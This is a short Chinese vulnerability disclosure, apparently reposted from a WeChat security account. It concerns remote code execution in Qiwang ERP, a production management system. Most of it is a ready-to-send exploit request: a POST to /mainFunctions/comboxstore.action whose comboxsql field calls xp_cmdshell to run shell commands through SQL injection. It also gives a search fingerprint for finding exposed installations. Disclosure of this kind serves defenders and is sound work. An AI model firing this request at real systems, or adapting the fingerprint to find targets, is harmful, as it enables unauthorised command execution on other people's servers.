| 0x01 漏洞介绍
企望ERP是由上海企望信息科技有限公司开发的一款领先的生产管理系统,专业为纸箱、纸板、彩印行业提供计算机管理(ERP)系统的服务商。
| 0x02 影响版本
企望制造ERP系统
| 0x03 语法特征
app
=
"企望-ERP系统"
| 0x04 漏洞复现
页面
漏洞POC
POST
/mainFunctions/comboxstore.action
HTTP/1.1
Host
: xxxx
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 43
comboxsql=
exec
%20xp_cmdshell%20
'echo hello'
|
原文始发于微信公众号(WK安全):企望ERP | comboxstore 远程代码执行
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论